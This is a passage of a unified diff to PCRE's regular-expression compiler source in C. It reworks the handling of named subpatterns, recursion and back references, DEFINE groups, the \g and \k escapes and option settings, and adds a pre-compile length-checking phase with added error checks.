-        /* For conditions that are assertions, we just fall through, having
-        set bravalue above. */
+        /* Similarly, check for the (?(DEFINE) "condition", which is always
+        false. */
 
+        else if (namelen == 6 && strncmp((char *)name, STRING_DEFINE, 6) == 0)
+          {
+          code[1+LINK_SIZE] = OP_DEF;
+          skipbytes = 1;
+          }
+
+        /* Check for the "name" actually being a subpattern number. We are
+        in the second pass here, so final_bracount is set. */
+
+        else if (recno > 0 && recno <= cd->final_bracount)
+          {
+          PUT2(code, 2+LINK_SIZE, recno);
+          }
+
+        /* Either an unidentified subpattern, or a reference to (?(0) */
+
+        else
+          {
+          *errorcodeptr = (recno == 0)? ERR35: ERR15;
+          goto FAILED;
+          }
         break;
 
-        case '=':                 /* Positive lookahead */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_EQUALS_SIGN:                 /* Positive lookahead */
         bravalue = OP_ASSERT;
         ptr++;
         break;
 
-        case '!':                 /* Negative lookahead */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_EXCLAMATION_MARK:            /* Negative lookahead */
+        ptr++;
+        if (*ptr == CHAR_RIGHT_PARENTHESIS)    /* Optimize (?!) */
+          {
+          *code++ = OP_FAIL;
+          previous = NULL;
+          continue;
+          }
         bravalue = OP_ASSERT_NOT;
-        ptr++;
         break;
 
-        case '<':                 /* Lookbehinds */
-        switch (*(++ptr))
+
+        /* ------------------------------------------------------------ */
+        case CHAR_LESS_THAN_SIGN:              /* Lookbehind or named define */
+        switch (ptr[1])
           {
-          case '=':               /* Positive lookbehind */
+          case CHAR_EQUALS_SIGN:               /* Positive lookbehind */
           bravalue = OP_ASSERTBACK;
-          ptr++;
+          ptr += 2;
           break;
 
-          case '!':               /* Negative lookbehind */
+          case CHAR_EXCLAMATION_MARK:          /* Negative lookbehind */
           bravalue = OP_ASSERTBACK_NOT;
-          ptr++;
+          ptr += 2;
           break;
+
+          default:                /* Could be name define, else bad */
+          if ((cd->ctypes[ptr[1]] & ctype_word) != 0) goto DEFINE_NAME;
+          ptr++;                  /* Correct offset for error */
+          *errorcodeptr = ERR24;
+          goto FAILED;
           }
         break;
 
-        case '>':                 /* One-time brackets */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_GREATER_THAN_SIGN:           /* One-time brackets */
         bravalue = OP_ONCE;
         ptr++;
         break;
 
-        case 'C':                 /* Callout - may be followed by digits; */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_C:                 /* Callout - may be followed by digits; */
         previous_callout = code;  /* Save for later completion */
         after_manual_callout = 1; /* Skip one item before completing */
-        *code++ = OP_CALLOUT;     /* Already checked that the terminating */
-          {                       /* closing parenthesis is present. */
+        *code++ = OP_CALLOUT;
+          {
           int n = 0;
           while ((digitab[*(++ptr)] & ctype_digit) != 0)
-            n = n * 10 + *ptr - '0';
+            n = n * 10 + *ptr - CHAR_0;
+          if (*ptr != CHAR_RIGHT_PARENTHESIS)
+            {
+            *errorcodeptr = ERR39;
+            goto FAILED;
+            }
           if (n > 255)
             {
             *errorcodeptr = ERR38;
@@ -3034,61 +4743,155 @@
         previous = NULL;
         continue;
 
-        case 'P':                 /* Named subpattern handling */
-        if (*(++ptr) == '<')      /* Definition */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_P:              /* Python-style named subpattern handling */
+        if (*(++ptr) == CHAR_EQUALS_SIGN ||
+            *ptr == CHAR_GREATER_THAN_SIGN)  /* Reference or recursion */
           {
-          int i, namelen;
-          uschar *slot = cd->name_table;
-          const uschar *name;     /* Don't amalgamate; some compilers */
-          name = ++ptr;           /* grumble at autoincrement in declaration */
+          is_recurse = *ptr == CHAR_GREATER_THAN_SIGN;
+          terminator = CHAR_RIGHT_PARENTHESIS;
+          goto NAMED_REF_OR_RECURSE;
+          }
+        else if (*ptr != CHAR_LESS_THAN_SIGN)  /* Test for Python-style defn */
+          {
+          *errorcodeptr = ERR41;
+          goto FAILED;
+          }
+        /* Fall through to handle (?P< as (?< is handled */
 
-          while (*ptr++ != '>');
-          namelen = ptr - name - 1;
 
-          for (i = 0; i < cd->names_found; i++)
+        /* ------------------------------------------------------------ */
+        DEFINE_NAME:    /* Come here from (?< handling */
+        case CHAR_APOSTROPHE:
+          {
+          terminator = (*ptr == CHAR_LESS_THAN_SIGN)?
+            CHAR_GREATER_THAN_SIGN : CHAR_APOSTROPHE;
+          name = ++ptr;
+
+          while ((cd->ctypes[*ptr] & ctype_word) != 0) ptr++;
+          namelen = ptr - name;
+
+          /* In the pre-compile phase, just do a syntax check. */
+
+          if (lengthptr != NULL)
             {
-            int crc = memcmp(name, slot+2, namelen);
-            if (crc == 0)
+            if (*ptr != terminator)
               {
-              if (slot[2+namelen] == 0)
+              *errorcodeptr = ERR42;
+              goto FAILED;
+              }
+            if (cd->names_found >= MAX_NAME_COUNT)
+              {
+              *errorcodeptr = ERR49;
+              goto FAILED;
+              }
+            if (namelen + 3 > cd->name_entry_size)
+              {
+              cd->name_entry_size = namelen + 3;
+              if (namelen > MAX_NAME_SIZE)
                 {
-                if ((options & PCRE_DUPNAMES) == 0)
+                *errorcodeptr = ERR48;
+                goto FAILED;
+                }
+              }
+            }
+
+          /* In the real compile, create the entry in the table */
+
+          else
+            {
+            slot = cd->name_table;
+            for (i = 0; i < cd->names_found; i++)
+              {
+              int crc = memcmp(name, slot+2, namelen);
+              if (crc == 0)
+                {
+                if (slot[2+namelen] == 0)
                   {
-                  *errorcodeptr = ERR43;
-                  goto FAILED;
+                  if ((options & PCRE_DUPNAMES) == 0)
+                    {
+                    *errorcodeptr = ERR43;
+                    goto FAILED;
+                    }
                   }
+                else crc = -1;      /* Current name is substring */
                 }
-              else crc = -1;      /* Current name is substring */
+              if (crc < 0)
+                {
+                memmove(slot + cd->name_entry_size, slot,
+                  (cd->names_found - i) * cd->name_entry_size);
+                break;
+                }
+              slot += cd->name_entry_size;
               }
-            if (crc < 0)
-              {
-              memmove(slot + cd->name_entry_size, slot,
-                (cd->names_found - i) * cd->name_entry_size);
-              break;
-              }
-            slot += cd->name_entry_size;
+
+            PUT2(slot, 0, cd->bracount + 1);
+            memcpy(slot + 2, name, namelen);
+            slot[2+namelen] = 0;
             }
-
-          PUT2(slot, 0, *brackets + 1);
-          memcpy(slot + 2, name, namelen);
-          slot[2+namelen] = 0;
-          cd->names_found++;
-          goto NUMBERED_GROUP;
           }
 
-        if (*ptr == '=' || *ptr == '>')  /* Reference or recursion */
+        /* In both cases, count the number of names we've encountered. */
+
+        ptr++;                    /* Move past > or ' */
+        cd->names_found++;
+        goto NUMBERED_GROUP;
+
+
+        /* ------------------------------------------------------------ */
+        case CHAR_AMPERSAND:            /* Perl recursion/subroutine syntax */
+        terminator = CHAR_RIGHT_PARENTHESIS;
+        is_recurse = TRUE;
+        /* Fall through */
+
+        /* We come here from the Python syntax above that handles both
+        references (?P=name) and recursion (?P>name), as well as falling
+        through from the Perl recursion syntax (?&name). We also come here from
+        the Perl \k<name> or \k'name' back reference syntax and the \k{name}
+        .NET syntax, and the Oniguruma \g<...> and \g'...' subroutine syntax. */
+
+        NAMED_REF_OR_RECURSE:
+        name = ++ptr;
+        while ((cd->ctypes[*ptr] & ctype_word) != 0) ptr++;
+        namelen = ptr - name;
+
+        /* In the pre-compile phase, do a syntax check and set a dummy
+        reference number. */
+
+        if (lengthptr != NULL)
           {
-          int i, namelen;
-          int type = *ptr++;
-          const uschar *name = ptr;
-          uschar *slot = cd->name_table;
+          if (namelen == 0)
+            {
+            *errorcodeptr = ERR62;
+            goto FAILED;
+            }
+          if (*ptr != terminator)
+            {
+            *errorcodeptr = ERR42;
+            goto FAILED;
+            }
+          if (namelen > MAX_NAME_SIZE)
+            {
+            *errorcodeptr = ERR48;
+            goto FAILED;
+            }
+          recno = 0;
+          }
 
-          while (*ptr != ')') ptr++;
-          namelen = ptr - name;
+        /* In the real compile, seek the name in the table. We check the name
+        first, and then check that we have reached the end of the name in the
+        table. That way, if the name that is longer than any in the table,
+        the comparison will fail without reading beyond the table entry. */
 
+        else
+          {
+          slot = cd->name_table;
           for (i = 0; i < cd->names_found; i++)
             {
-            if (strncmp((char *)name, (char *)slot+2, namelen) == 0) break;
+            if (strncmp((char *)name, (char *)slot+2, namelen) == 0 &&
+                slot[2+namelen] == 0)
+              break;
             slot += cd->name_entry_size;
             }
 
@@ -3097,71 +4900,141 @@
             recno = GET2(slot, 0);
             }
           else if ((recno =                /* Forward back reference */
-                    find_named_parens(ptr, *brackets, name, namelen)) <= 0)
+                    find_parens(cd, name, namelen,
+                      (options & PCRE_EXTENDED) != 0)) <= 0)
             {
             *errorcodeptr = ERR15;
             goto FAILED;
             }
+          }
 
-          if (type == '>') goto HANDLE_RECURSION;  /* A few lines below */
+        /* In both phases, we can now go to the code than handles numerical
+        recursion or backreferences. */
 
-          /* Back reference */
+        if (is_recurse) goto HANDLE_RECURSION;
+          else goto HANDLE_REFERENCE;
 
-          previous = code;
-          *code++ = OP_REF;
-          PUT2INC(code, 0, recno);
-          cd->backref_map |= (recno < 32)? (1 << recno) : 1;
-          if (recno > cd->top_backref) cd->top_backref = recno;
-          continue;
-          }
 
-        /* Should never happen */
-        break;
-
-        case 'R':                 /* Pattern recursion */
+        /* ------------------------------------------------------------ */
+        case CHAR_R:              /* Recursion */
         ptr++;                    /* Same as (?0)      */
         /* Fall through */
 
-        /* Recursion or "subroutine" call */
 
-        case '0': case '1': case '2': case '3': case '4':
-        case '5': case '6': case '7': case '8': case '9':
+        /* ------------------------------------------------------------ */
+        case CHAR_MINUS: case CHAR_PLUS:  /* Recursion or subroutine */
+        case CHAR_0: case CHAR_1: case CHAR_2: case CHAR_3: case CHAR_4:
+        case CHAR_5: case CHAR_6: case CHAR_7: case CHAR_8: case CHAR_9:
           {
           const uschar *called;
+          terminator = CHAR_RIGHT_PARENTHESIS;
+
+          /* Come here from the \g<...> and \g'...' code (Oniguruma
+          compatibility). However, the syntax has been checked to ensure that
+          the ... are a (signed) number, so that neither ERR63 nor ERR29 will
+          be called on this path, nor with the jump to OTHER_CHAR_AFTER_QUERY
+          ever be taken. */
+
+          HANDLE_NUMERICAL_RECURSION:
+
+          if ((refsign = *ptr) == CHAR_PLUS)
+            {
+            ptr++;
+            if ((digitab[*ptr] & ctype_digit) == 0)
+              {
+              *errorcodeptr = ERR63;
+              goto FAILED;
+              }
+            }
+          else if (refsign == CHAR_MINUS)
+            {
+            if ((digitab[ptr[1]] & ctype_digit) == 0)
+              goto OTHER_CHAR_AFTER_QUERY;
+            ptr++;
+            }
+
           recno = 0;
           while((digitab[*ptr] & ctype_digit) != 0)
-            recno = recno * 10 + *ptr++ - '0';
+            recno = recno * 10 + *ptr++ - CHAR_0;
 
+          if (*ptr != terminator)
+            {
+            *errorcodeptr = ERR29;
+            goto FAILED;
+            }
+
+          if (refsign == CHAR_MINUS)
+            {
+            if (recno == 0)
+              {
+              *errorcodeptr = ERR58;
+              goto FAILED;
+              }
+            recno = cd->bracount - recno + 1;
+            if (recno <= 0)
+              {
+              *errorcodeptr = ERR15;
+              goto FAILED;
+              }
+            }
+          else if (refsign == CHAR_PLUS)
+            {
+            if (recno == 0)
+              {
+              *errorcodeptr = ERR58;
+              goto FAILED;
+              }
+            recno += cd->bracount;
+            }
+
           /* Come here from code above that handles a named recursion */
 
           HANDLE_RECURSION:
 
           previous = code;
+          called = cd->start_code;
 
-          /* Find the bracket that is being referenced. Temporarily end the
-          regex in case it doesn't exist. */
+          /* When we are actually compiling, find the bracket that is being
+          referenced. Temporarily end the regex in case it doesn't exist before
+          this point. If we end up with a forward reference, first check that
+          the bracket does occur later so we can give the error (and position)
+          now. Then remember this forward reference in the workspace so it can
+          be filled in at the end. */
 
-          *code = OP_END;
-          called = (recno == 0)? cd->start_code :
-            find_bracket(cd->start_code, utf8, recno);
-          if (called == NULL)
+          if (lengthptr == NULL)
             {
-            *errorcodeptr = ERR15;
-            goto FAILED;
-            }
+            *code = OP_END;
+            if (recno != 0) called = find_bracket(cd->start_code, utf8, recno);
 
-          /* If the subpattern is still open, this is a recursive call. We
-          check to see if this is a left recursion that could loop for ever,
-          and diagnose that case. */
+            /* Forward reference */
 
-          if (GET(called, 1) == 0 && could_be_empty(called, code, bcptr, utf8))
-            {
-            *errorcodeptr = ERR40;
-            goto FAILED;
+            if (called == NULL)
+              {
+              if (find_parens(cd, NULL, recno,
+                    (options & PCRE_EXTENDED) != 0) < 0)
+                {
+                *errorcodeptr = ERR15;
+                goto FAILED;
+                }
+              called = cd->start_code + recno;
+              PUTINC(cd->hwm, 0, code + 2 + LINK_SIZE - cd->start_code);
+              }
+
+            /* If not a forward reference, and the subpattern is still open,
+            this is a recursive call. We check to see if this is a left
+            recursion that could loop for ever, and diagnose that case. */
+
+            else if (GET(called, 1) == 0 &&
+                     could_be_empty(called, code, bcptr, utf8))
+              {
+              *errorcodeptr = ERR40;
+              goto FAILED;
+              }
             }
 
           /* Insert the recursion/subroutine item, automatically wrapped inside
-          "once" brackets. */
+          "once" brackets. Set up a "previous group" length so that a
+          subsequent quantifier will work. */
 
           *code = OP_ONCE;
           PUT(code, 1, 2 + 2*LINK_SIZE);
@@ -3174,28 +5047,43 @@
           *code = OP_KET;
           PUT(code, 1, 2 + 2*LINK_SIZE);
           code += 1 + LINK_SIZE;
+
+          length_prevgroup = 3 + 3*LINK_SIZE;
           }
+
+        /* Can't determine a first byte now */
+
+        if (firstbyte == REQ_UNSET) firstbyte = REQ_NONE;
         continue;
 
-        /* Character after (? not specially recognized */
 
-        default:                  /* Option setting */
+        /* ------------------------------------------------------------ */
+        default:              /* Other characters: check option setting */
+        OTHER_CHAR_AFTER_QUERY:
         set = unset = 0;
         optset = &set;
 
-        while (*ptr != ')' && *ptr != ':')
+        while (*ptr != CHAR_RIGHT_PARENTHESIS && *ptr != CHAR_COLON)
           {
           switch (*ptr++)
             {
-            case '-': optset = &unset; break;
+            case CHAR_MINUS: optset = &unset; break;
 
-            case 'i': *optset |= PCRE_CASELESS; break;
-            case 'J': *optset |= PCRE_DUPNAMES; break;
-            case 'm': *optset |= PCRE_MULTILINE; break;
-            case 's': *optset |= PCRE_DOTALL; break;
-            case 'x': *optset |= PCRE_EXTENDED; break;
-            case 'U': *optset |= PCRE_UNGREEDY; break;
-            case 'X': *optset |= PCRE_EXTRA; break;
+            case CHAR_J:    /* Record that it changed in the external options */
+            *optset |= PCRE_DUPNAMES;
+            cd->external_flags |= PCRE_JCHANGED;
+            break;
+
+            case CHAR_i: *optset |= PCRE_CASELESS; break;
+            case CHAR_m: *optset |= PCRE_MULTILINE; break;
+            case CHAR_s: *optset |= PCRE_DOTALL; break;
+            case CHAR_x: *optset |= PCRE_EXTENDED; break;
+            case CHAR_U: *optset |= PCRE_UNGREEDY; break;
+            case CHAR_X: *optset |= PCRE_EXTRA; break;
+
+            default:  *errorcodeptr = ERR12;
+                      ptr--;    /* Correct the offset */
+                      goto FAILED;
             }
           }
 
@@ -3204,33 +5092,52 @@
         newoptions = (options | set) & (~unset);
 
         /* If the options ended with ')' this is not the start of a nested
-        group with option changes, so the options change at this level. Compile
-        code to change the ims options if this setting actually changes any of
-        them. We also pass the new setting back so that it can be put at the
-        start of any following branches, and when this group ends (if we are in
-        a group), a resetting item can be compiled.
+        group with option changes, so the options change at this level. If this
+        item is right at the start of the pattern, the options can be
+        abstracted and made external in the pre-compile phase, and ignored in
+        the compile phase. This can be helpful when matching -- for instance in
+        caseless checking of required bytes.
 
-        Note that if this item is right at the start of the pattern, the
-        options will have been abstracted and made global, so there will be no
-        change to compile. */
+        If the code pointer is not (cd->start_code + 1 + LINK_SIZE), we are
+        definitely *not* at the start of the pattern because something has been
+        compiled. In the pre-compile phase, however, the code pointer can have
+        that value after the start, because it gets reset as code is discarded
+        during the pre-compile. However, this can happen only at top level - if
+        we are within parentheses, the starting BRA will still be present. At
+        any parenthesis level, the length value can be used to test if anything
+        has been compiled at that level. Thus, a test for both these conditions
+        is necessary to ensure we correctly detect the start of the pattern in
+        both phases.
 
-        if (*ptr == ')')
+        If we are not at the pattern start, compile code to change the ims
+        options if this setting actually changes any of them, and reset the
+        greedy defaults and the case value for firstbyte and reqbyte. */
+
+        if (*ptr == CHAR_RIGHT_PARENTHESIS)
           {
-          if ((options & PCRE_IMS) != (newoptions & PCRE_IMS))
+          if (code == cd->start_code + 1 + LINK_SIZE &&
+               (lengthptr == NULL || *lengthptr == 2 + 2*LINK_SIZE))
             {
-            *code++ = OP_OPT;
-            *code++ = newoptions & PCRE_IMS;
+            cd->external_options = newoptions;
             }
+         else
+            {
+            if ((options & PCRE_IMS) != (newoptions & PCRE_IMS))
+              {
+              *code++ = OP_OPT;
+              *code++ = newoptions & PCRE_IMS;
+              }
+            greedy_default = ((newoptions & PCRE_UNGREEDY) != 0);
+            greedy_non_default = greedy_default ^ 1;
+            req_caseopt = ((newoptions & PCRE_CASELESS) != 0)? REQ_CASELESS : 0;
+            }
 
           /* Change options at this level, and pass them back for use
-          in subsequent branches. Reset the greedy defaults and the case
-          value for firstbyte and reqbyte. */
+          in subsequent branches. When not at the start of the pattern, this
+          information is also necessary so that a resetting item can be
+          compiled at the end of a group (if we are in a group). */
 
           *optionsptr = options = newoptions;
-          greedy_default = ((newoptions & PCRE_UNGREEDY) != 0);
-          greedy_non_default = greedy_default ^ 1;
-          req_caseopt = ((options & PCRE_CASELESS) != 0)? REQ_CASELESS : 0;
-
           previous = NULL;       /* This item can't be repeated */
           continue;              /* It is complete */
           }
@@ -3242,58 +5149,57 @@
 
         bravalue = OP_BRA;
         ptr++;
-        }
-      }
+        }     /* End of switch for character following (? */
+      }       /* End of (? handling */
 
-    /* If PCRE_NO_AUTO_CAPTURE is set, all unadorned brackets become
-    non-capturing and behave like (?:...) brackets */
+    /* Opening parenthesis not followed by '?'. If PCRE_NO_AUTO_CAPTURE is set,
+    all unadorned brackets become non-capturing and behave like (?:...)
+    brackets. */
 
     else if ((options & PCRE_NO_AUTO_CAPTURE) != 0)
       {
       bravalue = OP_BRA;
       }
 
-    /* Else we have a referencing group; adjust the opcode. If the bracket
-    number is greater than EXTRACT_BASIC_MAX, we set the opcode one higher, and
-    arrange for the true number to follow later, in an OP_BRANUMBER item. */
+    /* Else we have a capturing group. */
 
     else
       {
       NUMBERED_GROUP:
-      if (++(*brackets) > EXTRACT_BASIC_MAX)
-        {
-        bravalue = OP_BRA + EXTRACT_BASIC_MAX + 1;
-        code[1+LINK_SIZE] = OP_BRANUMBER;
-        PUT2(code, 2+LINK_SIZE, *brackets);
-        skipbytes = 3;
-        }
-      else bravalue = OP_BRA + *brackets;
+      cd->bracount += 1;
+      PUT2(code, 1+LINK_SIZE, cd->bracount);
+      skipbytes = 2;
       }
 
-    /* Process nested bracketed re. Assertions may not be repeated, but other
-    kinds can be. We copy code into a non-register variable in order to be able
-    to pass its address because some compilers complain otherwise. Pass in a
-    new setting for the ims options if they have changed. */
+    /* Process nested bracketed regex. Assertions may not be repeated, but
+    other kinds can be. All their opcodes are >= OP_ONCE. We copy code into a
+    non-register variable in order to be able to pass its address because some
+    compilers complain otherwise. Pass in a new setting for the ims options if
+    they have changed. */
 
     previous = (bravalue >= OP_ONCE)? code : NULL;
     *code = bravalue;
     tempcode = code;
     tempreqvary = cd->req_varyopt;     /* Save value before bracket */
+    length_prevgroup = 0;              /* Initialize for pre-compile phase */
 
     if (!compile_regex(
          newoptions,                   /* The complete new option state */
          options & PCRE_IMS,           /* The previous ims option state */
-         brackets,                     /* Extracting bracket count */
          &tempcode,                    /* Where to put code (updated) */
          &ptr,                         /* Input pointer (updated) */
          errorcodeptr,                 /* Where to put an error message */
          (bravalue == OP_ASSERTBACK ||
           bravalue == OP_ASSERTBACK_NOT), /* TRUE if back assert */
-         skipbytes,                    /* Skip over OP_COND/OP_BRANUMBER */
+         reset_bracount,               /* True if (?| group */
+         skipbytes,                    /* Skip over bracket number */
          &subfirstbyte,                /* For possible first char */
          &subreqbyte,                  /* For possible last char */
          bcptr,                        /* Current branch chain */
-         cd))                          /* Tables block */
+         cd,                           /* Tables block */
+         (lengthptr == NULL)? NULL :   /* Actual compile phase */
+           &length_prevgroup           /* Pre-compile phase */
+         ))
       goto FAILED;
 
     /* At the end of compiling, code is still pointing to the start of the
@@ -3302,9 +5208,11 @@
     is on the bracket. */
 
     /* If this is a conditional bracket, check that there are no more than
-    two branches in the group. */
+    two branches in the group, or just one if it's a DEFINE group. We do this
+    in the real compile phase, not in the pre-pass, where the whole group may
+    not be available. */
 
-    else if (bravalue == OP_COND)
+    if (bravalue == OP_COND && lengthptr == NULL)
       {
       uschar *tc = code;
       int condcount = 0;
@@ -3315,29 +5223,83 @@
          }
       while (*tc != OP_KET);
 
-      if (condcount > 2)
+      /* A DEFINE group is never obeyed inline (the "condition" is always
+      false). It must have only one branch. */
+
+      if (code[LINK_SIZE+1] == OP_DEF)
         {
-        *errorcodeptr = ERR27;
-        goto FAILED;
+        if (condcount > 1)
+          {
+          *errorcodeptr = ERR54;
+          goto FAILED;
+          }
+        bravalue = OP_DEF;   /* Just a flag to suppress char handling below */
         }
 
-      /* If there is just one branch, we must not make use of its firstbyte or
-      reqbyte, because this is equivalent to an empty second branch. */
+      /* A "normal" conditional group. If there is just one branch, we must not
+      make use of its firstbyte or reqbyte, because this is equivalent to an
+      empty second branch. */
 
-      if (condcount == 1) subfirstbyte = subreqbyte = REQ_NONE;
+      else
+        {
+        if (condcount > 2)
+          {
+          *errorcodeptr = ERR27;
+          goto FAILED;
+          }
+        if (condcount == 1) subfirstbyte = subreqbyte = REQ_NONE;
+        }
       }
 
-    /* Handle updating of the required and first characters. Update for normal
-    brackets of all kinds, and conditions with two branches (see code above).
-    If the bracket is followed by a quantifier with zero repeat, we have to
-    back off. Hence the definition of zeroreqbyte and zerofirstbyte outside the
-    main loop so that they can be accessed for the back off. */
+    /* Error if hit end of pattern */
 
+    if (*ptr != CHAR_RIGHT_PARENTHESIS)
+      {
+      *errorcodeptr = ERR14;
+      goto FAILED;
+      }
+
+    /* In the pre-compile phase, update the length by the length of the group,
+    less the brackets at either end. Then reduce the compiled code to just a
+    set of non-capturing brackets so that it doesn't use much memory if it is
+    duplicated by a quantifier.*/
+
+    if (lengthptr != NULL)
+      {
+      if (OFLOW_MAX - *lengthptr < length_prevgroup - 2 - 2*LINK_SIZE)
+        {
+        *errorcodeptr = ERR20;
+        goto FAILED;
+        }
+      *lengthptr += length_prevgroup - 2 - 2*LINK_SIZE;
+      *code++ = OP_BRA;
+      PUTINC(code, 0, 1 + LINK_SIZE);
+      *code++ = OP_KET;
+      PUTINC(code, 0, 1 + LINK_SIZE);
+      break;    /* No need to waste time with special character handling */
+      }
+
+    /* Otherwise update the main code pointer to the end of the group. */
+
+    code = tempcode;
+
+    /* For a DEFINE group, required and first character settings are not
+    relevant. */
+
+    if (bravalue == OP_DEF) break;
+
+    /* Handle updating of the required and first characters for other types of
+    group. Update for normal brackets of all kinds, and conditions with two
+    branches (see code above). If the bracket is followed by a quantifier with
+    zero repeat, we have to back off. Hence the definition of zeroreqbyte and
+    zerofirstbyte outside the main loop so that they can be accessed for the
+    back off. */
+
     zeroreqbyte = reqbyte;
     zerofirstbyte = firstbyte;
     groupsetfirstbyte = FALSE;
 
-    if (bravalue >= OP_BRA || bravalue == OP_ONCE || bravalue == OP_COND)
+    if (bravalue >= OP_ONCE)
       {
       /* If we have not yet set a firstbyte in this branch, take it from the
       subpattern, remembering that it was set here so that a repeat of more
@@ -3378,44 +5340,34 @@
     firstbyte, looking for an asserted first char. */
 
     else if (bravalue == OP_ASSERT && subreqbyte >= 0) reqbyte = subreqbyte;
+    break;     /* End of processing '(' */
 
-    /* Now update the main code pointer to the end of the group. */
 
-    code = tempcode;
-
-    /* Error if hit end of pattern */
-
-    if (*ptr != ')')
-      {
-      *errorcodeptr = ERR14;
-      goto FAILED;
-      }
-    break;
-
-    /* Check \ for being a real metacharacter; if not, fall through and handle
-    it as a data character at the start of a string. Escape items are checked
-    for validity in the pre-compiling pass. */
-
-    case '\\':
-    tempptr = ptr;
-    c = check_escape(&ptr, errorcodeptr, *brackets, options, FALSE);
-
-    /* Handle metacharacters introduced by \. For ones like \d, the ESC_ values
+    /* ===================================================================*/
+    /* Handle metasequences introduced by \. For ones like \d, the ESC_ values
     are arranged to be the negation of the corresponding OP_values. For the
     back references, the values are ESC_REF plus the reference number. Only
     back references and those types that consume a character may be repeated.
     We can test for values between ESC_b and ESC_Z for the latter; this may
     have to change if any new ones are ever created. */
 
+    case CHAR_BACKSLASH:
+    tempptr = ptr;
+    c = check_escape(&ptr, errorcodeptr, cd->bracount, options, FALSE);
+    if (*errorcodeptr != 0) goto FAILED;
+
     if (c < 0)
       {
       if (-c == ESC_Q)            /* Handle start of quoted string */
         {
-        if (ptr[1] == '\\' && ptr[2] == 'E') ptr += 2; /* avoid empty string */
-          else inescq = TRUE;
+        if (ptr[1] == CHAR_BACKSLASH && ptr[2] == CHAR_E)
+          ptr += 2;               /* avoid empty string */
+            else inescq = TRUE;
         continue;
         }
 
+      if (-c == ESC_E) continue;  /* Perl ignores an orphan \E */
+
       /* For metasequences that actually match a character, we disable the
       setting of a first character if it hasn't already been set. */
 
@@ -3427,18 +5379,96 @@
       zerofirstbyte = firstbyte;
       zeroreqbyte = reqbyte;
 
-      /* Back references are handled specially */
+      /* \g<name> or \g'name' is a subroutine call by name and \g<n> or \g'n'
+      is a subroutine call by number (Oniguruma syntax). In fact, the value
+      -ESC_g is returned only for these cases. So we don't need to check for <
+      or ' if the value is -ESC_g. For the Perl syntax \g{n} the value is
+      -ESC_REF+n, and for the Perl syntax \g{name} the result is -ESC_k (as
+      that is a synonym for a named back reference). */
 
+      if (-c == ESC_g)
+        {
+        const uschar *p;
+        save_hwm = cd->hwm;   /* Normally this is set when '(' is read */
+        terminator = (*(++ptr) == CHAR_LESS_THAN_SIGN)?
+          CHAR_GREATER_THAN_SIGN : CHAR_APOSTROPHE;
+
+        /* These two statements stop the compiler for warning about possibly
+        unset variables caused by the jump to HANDLE_NUMERICAL_RECURSION. In
+        fact, because we actually check for a number below, the paths that
+        would actually be in error are never taken. */
+
+        skipbytes = 0;
+        reset_bracount = FALSE;
+
+        /* Test for a name */
+
+        if (ptr[1] != CHAR_PLUS && ptr[1] != CHAR_MINUS)
+          {
+          BOOL isnumber = TRUE;
+          for (p = ptr + 1; *p != 0 && *p != terminator; p++)
+            {
+            if ((cd->ctypes[*p] & ctype_digit) == 0) isnumber = FALSE;
+            if ((cd->ctypes[*p] & ctype_word) == 0) break;
+            }
+          if (*p != terminator)
+            {
+            *errorcodeptr = ERR57;
+            break;
+            }
+          if (isnumber)
+            {
+            ptr++;
+            goto HANDLE_NUMERICAL_RECURSION;
+            }
+          is_recurse = TRUE;
+          goto NAMED_REF_OR_RECURSE;
+          }
+
+        /* Test a signed number in angle brackets or quotes. */
+
+        p = ptr + 2;
+        while ((digitab[*p] & ctype_digit) != 0) p++;
+        if (*p != terminator)
+          {
+          *errorcodeptr = ERR57;
+          break;
+          }
+        ptr++;
+        goto HANDLE_NUMERICAL_RECURSION;
+        }
+
+      /* \k<name> or \k'name' is a back reference by name (Perl syntax).
+      We also support \k{name} (.NET syntax) */
+
+      if (-c == ESC_k && (ptr[1] == CHAR_LESS_THAN_SIGN ||
+          ptr[1] == CHAR_APOSTROPHE || ptr[1] == CHAR_LEFT_CURLY_BRACKET))
+        {
+        is_recurse = FALSE;
+        terminator = (*(++ptr) == CHAR_LESS_THAN_SIGN)?
+          CHAR_GREATER_THAN_SIGN : (*ptr == CHAR_APOSTROPHE)?
+          CHAR_APOSTROPHE : CHAR_RIGHT_CURLY_BRACKET;
+        goto NAMED_REF_OR_RECURSE;
+        }
+
+      /* Back references are handled specially; must disable firstbyte if
+      not set to cope with cases like (?=(\w+))\1: which would otherwise set
+      ':' later. */
+
       if (-c >= ESC_REF)
         {
-        int number = -c - ESC_REF;
+        recno = -c - ESC_REF;
+
+        HANDLE_REFERENCE:    /* Come here from named backref handling */
+        if (firstbyte == REQ_UNSET) firstbyte = REQ_NONE;
         previous = code;
         *code++ = OP_REF;
-        PUT2INC(code, 0, number);
+        PUT2INC(code, 0, recno);
+        cd->backref_map |= (recno < 32)? (1 << recno) : 1;
+        if (recno > cd->top_backref) cd->top_backref = recno;
         }
 
-      /* So are Unicode property matches, if supported. We know that get_ucp
-      won't fail because it was tested in the pre-pass. */
+      /* So are Unicode property matches, if supported. */
 
 #ifdef SUPPORT_UCP
       else if (-c == ESC_P || -c == ESC_p)
@@ -3446,15 +5476,26 @@
         BOOL negated;
         int pdata;
         int ptype = get_ucp(&ptr, &negated, &pdata, errorcodeptr);
+        if (ptype < 0) goto FAILED;
         previous = code;
         *code++ = ((-c == ESC_p) != negated)? OP_PROP : OP_NOTPROP;
         *code++ = ptype;
         *code++ = pdata;
         }
+#else
+
+      /* If Unicode properties are not supported, \X, \P, and \p are not
+      allowed. */
+
+      else if (-c == ESC_X || -c == ESC_P || -c == ESC_p)
+        {
+        *errorcodeptr = ERR45;
+        goto FAILED;
+        }
 #endif
 
-      /* For the rest, we can obtain the OP value by negating the escape
-      value */
+      /* For the rest (including \X when Unicode properties are supported), we
+      can obtain the OP value by negating the escape value. */
 
       else
         {
@@ -3478,9 +5519,10 @@
      mcbuffer[0] = c;
      mclength = 1;
      }
-
     goto ONE_CHAR;
 
+
+    /* ===================================================================*/
     /* Handle a literal character. It is guaranteed not to be whitespace or #
     when the extended flag is set. If we are in UTF-8 mode, it may be a
     multi-byte literal character. */
@@ -3491,7 +5533,7 @@
     mcbuffer[0] = c;
 
 #ifdef SUPPORT_UTF8
-    if (utf8 && (c & 0xc0) == 0xc0)
+    if (utf8 && c >= 0xc0)
       {
